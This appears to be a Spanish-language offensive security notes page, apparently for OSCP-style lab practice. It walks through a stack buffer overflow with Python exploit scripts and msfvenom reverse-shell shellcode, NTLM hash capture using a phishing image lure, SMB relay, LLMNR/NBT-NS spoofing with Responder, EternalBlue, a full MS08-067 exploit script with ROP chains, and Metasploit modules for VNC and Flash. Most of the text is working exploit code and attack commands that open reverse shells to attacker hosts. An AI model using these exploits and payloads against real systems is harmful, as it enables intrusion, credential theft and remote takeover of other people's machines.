Exploits
Enlace de descargar de exploits de Windows.
Buffer Overflow básico
Abrimos el programa usando Immunity Debugger (este deber ser iniciado como administrador). En Debug, seleccionamos Run para iniciar el programa:
Iniciar la ejecución del programa Por cada prueba a realizar, se debe repetir este paso, debido que, el programa deja de funcionar.
Validamos si el puerto del servicio se encuentra abierto:
Chequeamos el funcionamiento del servicio:
Funcionamiento del programa - HELP Si ingresamos OVERFLOW1 test, observamos que nos responde OVERFLOW1 COMPLETE:
Funcionamiento del programa - OVERFLOW1 Creamos un directorio de trabajo usando mona:
Copy !mona config -set workingfolder c:\mona\%p Creación del directorio de trabajo Directorio de trabajo creado Usando el siguiente programa, podemos validar la cantidad de caracteres que hacer que el programa deje de funcionar:
Copy #!/usr/bin/env python3
import socket, time, sys
rhost = "192.168.233.139"
rport = 1337
timeout = 5
prefix = b"OVERFLOW1 "
payload = b"A" * 100
try:
while True:
print("Sent " + str(len(payload)))
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((rhost,rport))
s.send(prefix + payload + b"\r\n")
data = s.recv(1024)
payload += b"A" * 100
except Exception as err:
print("Error: " + str(err))
sys.exit(1) Si revisamos en Immunity Debugger, podemos observar que tiene los caracteres A enviados en el registro EIP:
Como se puede apreciar en la imagen del script fuzzer.py, a los 2100 caracteres, el programa deja de responder.
Para obtener la cantidad correcta de caracteres que necesitamos para crashear el programa, usamos los scripts pattern_create.rb y pattern_offset.rb de Metasploit.
Con `pattern_create.rb` generamos un patrón de caracteres con la cantidad indicada:
Copy /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2100 Modificamos el script anterior para enviar la lista de caracteres generados:
Copy #!/usr/bin/env python3
import socket, time, sys
rhost = "192.168.233.139"
rport = 1337
timeout = 5
prefix = b"OVERFLOW1 "
payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9"
try:
print("Sent " + str(len(payload)))
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((rhost,rport))
s.send(prefix + payload + b"\r\n")
data = s.recv(1024)
except Exception as err:
print("Error: " + str(err))
sys.exit(1) Observamos el valor del EIP, y lo copiamos para usarlo con pattern_offset.rb:
Copy /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 6F43396E Con mona generamos un bytearray, en el cual, se excluirá el byte null \x00:
Copy !mona bytearray -cpb "\x00" Ahora, generamos una lista de caracteres a revisar usando el siguiente script:
Copy #!/usr/bin/env python3
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print() Ejecutamos el siguiente script, el cual, contiene el valor del offset, el valor que escribiremos en el registro EIP, y los badchars:
Copy #!/usr/bin/env python3
import socket, time, sys
rhost = "192.168.233.139"
rport = 1337
timeout = 5
prefix = b"OVERFLOW1 "
payload = b"A" * 1978
payload += b"BBBB"
badchars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
try:
print("Sent " + str(len(payload)))
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((rhost,rport))
s.send(prefix + payload + return + badchars + b"\r\n")
data = s.recv(1024)
except Exception as err:
print("Error: " + str(err))
sys.exit(1) Tomamos el valor del registro ESP que es 01A5FA30 y lo analizamos con mona:
Copy !mona compare -f C:\mona\oscp\bytearray.bin -a 01A5FA30 Vemos que los caracteres indicados por mona son: \x00, \x07, \x08, \x2e, \x2f, \xa0, \xa1.
Volvemos a ejecutar el script anterior, pero esta vez, se debe modificar los badchars sacando uno a la vez:
Los badchars identificados son: \x00, \x07, \x2e, \xa0.
Usando mona, debemos encontrar el valor de un registro de salto JMP al ESP, el cual, no debe tener protecciones:
El salto al ESP es 0x625011af, que, en little endian es \xaf\x11\x50\x62.
Generamos con msfvenom el payload de la shell reversa que usaremos:
Copy msfvenom -p windows/shell_reverse_tcp LHOST=192.168.233.137 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f python Modificamos el script, donde, se debe indicar lo siguiente:
payload: cantidad de caracteres a enviar antes de generar la denegación de servicio (corresponde al offset)
address: dirección de la instrucción JMP que saltará al registro ESP
nops: instrucciones recomendadas para el funcionamiento del script
buf: payload generado con msfvenom
Copy #!/usr/bin/env python3
import socket, time, sys
rhost = "192.168.233.139"
rport = 1337
timeout = 5
prefix = b"OVERFLOW1 "
payload = b"A" * 1978
address += b"\xaf\x11\x50\x62"
nops = b"\x90" * 20
buf = b""
buf += b"\xd9\xc9\xd9\x74\x24\xf4\x5a\xbd\xe1\xcb\xd9\xfc\x33"
buf += b"\xc9\xb1\x52\x31\x6a\x17\x83\xc2\x04\x03\x8b\xd8\x3b"
buf += b"\x09\xb7\x37\x39\xf2\x47\xc8\x5e\x7a\xa2\xf9\x5e\x18"
buf += b"\xa7\xaa\x6e\x6a\xe5\x46\x04\x3e\x1d\xdc\x68\x97\x12"
buf += b"\x55\xc6\xc1\x1d\x66\x7b\x31\x3c\xe4\x86\x66\x9e\xd5"
buf += b"\x48\x7b\xdf\x12\xb4\x76\x8d\xcb\xb2\x25\x21\x7f\x8e"
buf += b"\xf5\xca\x33\x1e\x7e\x2f\x83\x21\xaf\xfe\x9f\x7b\x6f"
buf += b"\x01\x73\xf0\x26\x19\x90\x3d\xf0\x92\x62\xc9\x03\x72"
buf += b"\xbb\x32\xaf\xbb\x73\xc1\xb1\xfc\xb4\x3a\xc4\xf4\xc6"
buf += b"\xc7\xdf\xc3\xb5\x13\x55\xd7\x1e\xd7\xcd\x33\x9e\x34"
buf += b"\x8b\xb0\xac\xf1\xdf\x9e\xb0\x04\x33\x95\xcd\x8d\xb2"
buf += b"\x79\x44\xd5\x90\x5d\x0c\x8d\xb9\xc4\xe8\x60\xc5\x16"
buf += b"\x53\xdc\x63\x5d\x7e\x09\x1e\x3c\x17\xfe\x13\xbe\xe7"
buf += b"\x68\x23\xcd\xd5\x37\x9f\x59\x56\xbf\x39\x9e\x99\xea"
buf += b"\xfe\x30\x64\x15\xff\x19\xa3\x41\xaf\x31\x02\xea\x24"
buf += b"\xc1\xab\x3f\xea\x91\x03\x90\x4b\x41\xe4\x40\x24\x8b"
buf += b"\xeb\xbf\x54\xb4\x21\xa8\xff\x4f\xa2\x17\x57\xa6\xbb"
buf += b"\xf0\xaa\x38\xad\x5c\x22\xde\xa7\x4c\x62\x49\x50\xf4"
buf += b"\x2f\x01\xc1\xf9\xe5\x6c\xc1\x72\x0a\x91\x8c\x72\x67"
buf += b"\x81\x79\x73\x32\xfb\x2c\x8c\xe8\x93\xb3\x1f\x77\x63"
buf += b"\xbd\x03\x20\x34\xea\xf2\x39\xd0\x06\xac\x93\xc6\xda"
buf += b"\x28\xdb\x42\x01\x89\xe2\x4b\xc4\xb5\xc0\x5b\x10\x35"
buf += b"\x4d\x0f\xcc\x60\x1b\xf9\xaa\xda\xed\x53\x65\xb0\xa7"
buf += b"\x33\xf0\xfa\x77\x45\xfd\xd6\x01\xa9\x4c\x8f\x57\xd6"
buf += b"\x61\x47\x50\xaf\x9f\xf7\x9f\x7a\x24\x17\x42\xae\x51"
buf += b"\xb0\xdb\x3b\xd8\xdd\xdb\x96\x1f\xd8\x5f\x12\xe0\x1f"
buf += b"\x7f\x57\xe5\x64\xc7\x84\x97\xf5\xa2\xaa\x04\xf5\xe6"
try:
print("Sent " + str(len(payload)))
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((rhost,rport))
s.send(prefix + payload + address + nops + buf + b"\r\n")
data = s.recv(1024)
except Exception as err:
print("Error: " + str(err))
sys.exit(1) Antes de ejecutar el exploit, debemos tener el puerto indicado en el payload a la escucha.
Capturando hash LM/NTLMv1 con Metasploit
Iniciamos el módulo de captura :
Copy msfconsole -q
use auxiliary/server/capture/smb
set JOHNPWFILE hashpwd
run En este caso, podemos usar alguna técnica de ingeniería social para pasar la URL al target, como por ejemplo, una imagen con hipervínculo en un phishing:
Copy <img src="\\[nuestra_IP]\ADMIN$"> Cuando se conecte el target, y este trabaje con hashes LM o NTLMv1, podemos intentar crackearlos usando JohnTheRipper:
Copy john --format=netlm hashpwd_netntlm En caso de que JohnTheRipper falle, podemos usar rainbow tables:
Comando:
Copy rcracki_mt -h [8B_hash_LM] -t [threads] [tablas] -h primeros 8 bytes del hash LM
Ejemplo:
Copy rcracki_mt -h 1f548398f0f49ea1 -t 4 *.rti Ahora que tenemos la primera parte de la password descifrada, usamos la herramienta halflm_second.rb de Metasploit, el cual, se encuentra en /usr/share/metasploit-framework/tools/password:
Copy ruby halflm_second.rb -n [hash] -p [parte_de_la_pass_encontrada] -p parte de la password encontrada en el paso anterior
Ejemplo:
Copy ruby halflm_second.rb -n 1f548398f0f49ea18e2f0dcb9562b75eaa32e75aebf1d69c -p ELSPWD1 Ahora con la herramienta netntlm de JohnTheRipper, podemos obtener la password real (esta se encuentra en /usr/share/john/):
Copy perl netntlm.pl -file [file_hash] -seed [password] -file archivo que tiene el hash obtenido en la primera etapa
-seed password obtenida en el paso anterior
Ejemplo:
Copy perl netntlm.pl -file /root/hashpwd_netntlm -seed PASS123 Podemos usar esta herramienta para obtener la password en mayúsculas, al igual que lo hace halflm_second, donde, -seed seria la primera parte de la password obtenida.
El cracking de los hashes NTLMv2 se considera no factible.
SMB Relay en NTLMv1/v2
Resumen del ataque:
Para este caso, usaremo el script smbrelayx.py
Lo primero es crear un payload para obtener una shell usando msfvenom.
Comando:
Copy msfvenom -p windows/meterpreter/reverse_tcp LHOST=[local_IP] LPORT=[local_port] -f exe -o [output_file] -p indicamos el payload a usar
LHOST dirección IP local que estará a la escucha de la conexión
LPORT puerto local que estará a la escucha
-o indicamos el nombre del archivo donde se guardará el output
Ejemplo:
Copy msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=4455 -f exe -o smbexp.exe En otra terminal, ponemos a la escucha la dirección y puerto para poder obtener la shell:
Copy msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.200
set LPORT 4455
run Ejecutamos nuestro relay:
Copy ./smbrelayx.py -h [target_IP] -e [payload] -h indicamos la dirección IP del target
-e especificamos el archivo creado con msfvenom
Ejemplo:
Copy ./smbrelayx.py -h 192.168.1.1 -e smbexp.exe NBT-NS/LLMNR Spoofing
Es posible realizar un spoofing de LLMNR (Link-Local Multicast Name Resolution) y de NBT-NS (NetBIOS Name Service) a través de un ataque mitm y así, obtener sus hashes.
LLMNR es el sucesor de NBT-NS, el cual, fue introducido en Windows Vista.
Cuando la resolución de nombres falla, se utilizan estos protocolos.
Al momento que estos protocolos son usados para descubrir host, envían mensajes broadcast a la red con los hashes NTLMv1/v2, los cuales, pueden ser interceptados en la red local (VLAN), para usarlos en otros sistemas, o crackearlos de forma offline.
Escenario de ataque
El host A envía un request a un recurso compartido SMB al sistema \\intranet\files, pero, en vez de escribir intranet, escribe intrnet
Se manda una consulta al DNS para poder resolver el nombre intrnet, el cual, no es conocido por este, por lo tanto, el host A envía un mensaje broadcast LLMNR o NBT-NS consultando la dirección IP de dicho host
El atacante responde el mensaje broadcast, indicando que el es intrnet
El host A envía al atacante su nombre de usuario y el hash NTLMv1/v2
Herramientas para realizar el ataque
Responder
En Kali se puede encontrar en /usr/share/responder
Para este caso, Responder actúa como un listener de los mensajes broadcast, y realiza un spoofing de las respuesta al host target, resultando en la intercepción de los hashes que pueden ser pasados a otros sistemas, o eventualmente, poder crackearlos de forma offline.
En conjunto con Responder, se usa Multirelay
Para llevar a cabo este ataque, es necesario que se encuentre deshabilitado el SMB Signing en el target. Para poder determinar si este no se encuentra habilitado, se puede usar la herramienta RunFinger
Uso de RunFinger :
Copy python RunFinger.py -i [IP target] Atacando LLMNR/NBT-NS
Modificar el archivo Responder.conf, deshabilitando SMBy HTTP:
Habilitación de servicios Ejecutamos Responder en la interfaz que deseamos:
-I interfaz que estará a la escucha
--lm realiza un downgrade de los hashes a LM
Copy python Responder.py -I [interfaz] En otra terminal, ejecutar MultiRelay :
-t indicamos la IP del target
-u ALL realiza un relay de todos los usuarios. También se puede indicar el usuario que queremos, reemplazando ALL por el nombre del usuario
Copy python MultiRelay.py -t [IP target] - u ALL EternalBlue (MS17-010)
Lo primero que validamos es si es vulnerable a la versión que usa PIPE. Para lograr esto, descargamos el siguiente script .
Este script usa como complemento el script mysmb.py .
Copy python3 checker.py 10.10.10.40 Vemos que no es vulnerable a la opción que utiliza PIPE, por lo tanto, usaremos el siguiente script .
Lo primero es definir la arquitectura del target, para lograr esto, usamos crackmapexec:
Copy crackmapexec smb 10.10.10.40 Obtención de la arquitectura del OS Vemos que la máquina es de arquitectura x64, por lo tanto, trabajamos con el shellcode indicado para esa arquitectura.
Ensamblamos el shellcode del kernel con nasm:
Copy nasm -f bin shellcode_x64.asm -o ./sc_x64_kernel.bin Generamos el payload para poder obtener una reverse shell:
Copy msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=10.10.14.6 --platform windows -a x64 --format raw -o sc_x64_payload.bin Ahora juntamos ambos archivos:
Copy cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin Por último, ejecutamos el exploit:
Copy python3 ms17-010.py 10.10.10.40 sc_x64.bin 6 El valor 6 corresponde al numGroomConn, el cual, a prueba y error resultó ser dicho número.
Explotación 1
Para máquinas x64m usar el siguiente shellcode:
Ensamblamos el shellcode del kernel con nasm:
Copy nasm -f bin shellcode_x64.asm -o ./sc_x64_kernel.bin Generamos un payload con el reverse shell:
Copy msfvenom -p windows/x64/shell_reverse_tcp LPORT=4444 LHOST=10.13.18.211 --platform windows -a x64 --format raw -o sc_x64_payload.bin Ahora juntamos ambos archivos:
Copy cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin Explotación 2
Descargamos los siguientes scripts para explotar esta vulnerabilidad:
Copy wget https://raw.githubusercontent.com/3ndG4me/AutoBlue-MS17-010/master/zzz_exploit.py -O ms17-010.py
wget https://raw.githubusercontent.com/3ndG4me/AutoBlue-MS17-010/master/mysmb.py -O mysmb.py Ahora ejecutamos el script, con el cual, obtenemos una shell en la máquina:
Copy python3 ms17-010.py 10.10.10.4 NetAPI (MS08-067)
Para poder explotar esta vulnerabilidad, usamos el siguiente script:
Copy #!/usr/bin/python3
import struct
import time
import sys
from threading import Thread # Thread is imported incase you would like to modify
try:
from impacket import smb
from impacket import uuid
from impacket.dcerpc.v5 import transport
except ImportError:
print('Install the following library to make this script work')
print('Impacket : https://github.com/CoreSecurity/impacket.git')
print('PyCrypto : https://pypi.python.org/pypi/pycrypto')
sys.exit(1)
shellcode = b""
num_nops = 410 - len(shellcode)
newshellcode = b"\x90" * num_nops
newshellcode += shellcode # Add NOPS to the front
shellcode = newshellcode # Switcheroo with the newshellcode temp variable
nonxjmper = b"\x08\x04\x02\x00%s" + b"A" * 4 + b"%s" + \
b"A" * 42 + b"\x90" * 8 + b"\xeb\x62" + b"A" * 10
disableNXjumper = b"\x08\x04\x02\x00%s%s%s" + b"A" * \
28 + b"%s" + b"\xeb\x02" + b"\x90" * 2 + b"\xeb\x62"
ropjumper = b"\x00\x08\x01\x00" + b"%s" + b"\x10\x01\x04\x01";
module_base = 0x6f880000
def generate_rop(rvas):
gadget1 = b"\x90\x5a\x59\xc3"
gadget2 = [b"\x90\x89\xc7\x83", b"\xc7\x0c\x6a\x7f", b"\x59\xf2\xa5\x90"]
gadget3 = b"\xcc\x90\xeb\x5a"
ret = struct.pack('<L', 0x00018000)
ret += struct.pack('<L', rvas['call_HeapCreate'] + module_base)
ret += struct.pack('<L', 0x01040110)
ret += struct.pack('<L', 0x01010101)
ret += struct.pack('<L', 0x01010101)
ret += struct.pack('<L',
rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret'] + module_base)
ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
ret += gadget1
ret += struct.pack('<L', rvas['mov [eax], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['jmp eax'] + module_base)
ret += gadget2[0]
ret += gadget2[1]
ret += struct.pack('<L', rvas[
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
ret += gadget2[2]
ret += struct.pack('<L', rvas['mov [eax+0x10], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['add eax, 8 / ret'] + module_base)
ret += struct.pack('<L', rvas['jmp eax'] + module_base)
ret += gadget3
return ret
class SRVSVC_Exploit(Thread):
def __init__(self, target, os, port=445):
super(SRVSVC_Exploit, self).__init__()
self.port = port
self.target = target
self.os = os
def __DCEPacket(self):
if (self.os == '1'):
print('Windows XP SP0/SP1 Universal\n')
ret = b"\x61\x13\x00\x01"
jumper = nonxjmper % (ret, ret)
elif (self.os == '2'):
print('Windows 2000 Universal\n')
ret = b"\xb0\x1c\x1f\x00"
jumper = nonxjmper % (ret, ret)
elif (self.os == '3'):
print('Windows 2003 SP0 Universal\n')
ret = b"\x9e\x12\x00\x01" # 0x01 00 12 9e
jumper = nonxjmper % (ret, ret)
elif (self.os == '4'):
print('Windows 2003 SP1 English\n')
ret_dec = b"\x8c\x56\x90\x7c" # 0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
ret_pop = b"\xf4\x7c\xa2\x7c" # 0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
jmp_esp = b"\xd3\xfe\x86\x7c" # 0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
disable_nx = b"\x13\xe4\x83\x7c" # 0x 7c 83 e4 13 NX disable @NTDLL.DLL
jumper = disableNXjumper % (
ret_dec * 6, ret_pop, disable_nx, jmp_esp * 2)
elif (self.os == '5'):
print('Windows XP SP3 French (NX)\n')
ret = b"\x07\xf8\x5b\x59" # 0x59 5b f8 07
disable_nx = b"\xc2\x17\x5c\x59" # 0x59 5c 17 c2
jumper = nonxjmper % (disable_nx, ret)
elif (self.os == '6'):
print('Windows XP SP3 English (NX)\n')
ret = b"\x07\xf8\x88\x6f" # 0x6f 88 f8 07
disable_nx = b"\xc2\x17\x89\x6f" # 0x6f 89 17 c2
jumper = nonxjmper % (disable_nx, ret)
elif (self.os == '7'):
print('Windows XP SP3 English (AlwaysOn NX)\n')
rvasets = {'call_HeapCreate': 0x21286, 'add eax, ebp / mov ecx, 0x59ffffa8 / ret': 0x2e796, 'pop ecx / ret': 0x2e796 + 6,
'mov [eax], ecx / ret': 0xd296, 'jmp eax': 0x19c6f, 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret': 0x10a56, 'mov [eax+0x10], ecx / ret': 0x10a56 + 6, 'add eax, 8 / ret': 0x29c64}
jumper = generate_rop(rvasets) + "AB"
else:
print('Not supported OS version\n')
sys.exit(-1)
print('[-]Initiating connection')
if (self.port == '445'):
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
else:
self.__trans = transport.SMBTransport(remoteName='*SMBSERVER', remote_host='%s' % self.target, dstport = int(self.port), filename = '\\browser' )
self.__trans.connect()
print('[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target)
self.__dce = self.__trans.DCERPC_class(self.__trans)
self.__dce.bind(uuid.uuidtup_to_bin(
('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
path = b"\x5c\x00" + b"ABCDEFGHIJ" * 10 + shellcode + b"\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + \
b"\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + b"\x00" * 2
server = b"\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
prefix = b"\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"
MaxCount = b"\x36\x01\x00\x00" # Decimal 310. => Path length of 620.
Offset = b"\x00\x00\x00\x00"
ActualCount = b"\x36\x01\x00\x00" # Decimal 310. => Path length of 620
self.__stub = server + MaxCount + Offset + ActualCount + \
path + b"\xE8\x03\x00\x00" + prefix + b"\x01\x10\x00\x00\x00\x00\x00\x00"
return
def run(self):
self.__DCEPacket()
self.__dce.call(0x1f, self.__stub)
time.sleep(3)
print('Exploit finish\n')
if __name__ == '__main__':
try:
target = sys.argv[1]
os = sys.argv[2]
port = sys.argv[3]
except IndexError:
print('\nUsage: %s <target ip> <os #> <Port #>\n' % sys.argv[0])
print('Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445')
print('Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)')
print('Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal')
print('Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English')
print('Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)')
print('Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)')
print('Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)')
print('')
print('FYI: nmap has a good OS discovery script that pairs well with this exploit:')
print('nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 192.168.1.1')
print('')
sys.exit(-1)
current = SRVSVC_Exploit(target, os, port)
current.start() Debemos modificar la variable shellcode para poder obtener nuestra shell reversa. Para esto, usamos el siguiente comando:
Copy msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.6 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python -v shellcode -a x86 --platform windows Ejecutamos el script, dejando a la escucha el puerto 443:
VNC Keystrokes con Metasploit
Copy msfconsole -q
use exploit/multi/vnc/vnc_keyboard_exec
set RHOSTS 192.168.1.1
set PASSWORD VNCpwd
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.200
run El parámetro PASSWORD no es requerido.
Adobe Flash Player ByteArray Use After Free
Este exploit explota el uso de After Free de Adobe Flash Player cuando maneja objetos ByteArray.
Copy msfconsole -q
use exploit/multi/browser/adobe_flash_hacking_team_uaf
set SRVHOST 192.168.1.200
set SRVPORT 8080
set URIPATH test
set TARGET 0
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.200
set LPORT 4444
run SRVHOST dirección IP local que se encuentra a la escucha
SRVPORT puerto local que se encuentra a la escucha
URIPATH URI a usar para en el exploit
TARGET 0 para Windows, 1 para Linux
PAYLOAD payload a usar para obtener la shell reversa
LHOST dirección IP local al que se conectará el target
LPORT puerto local al que se conectará el target
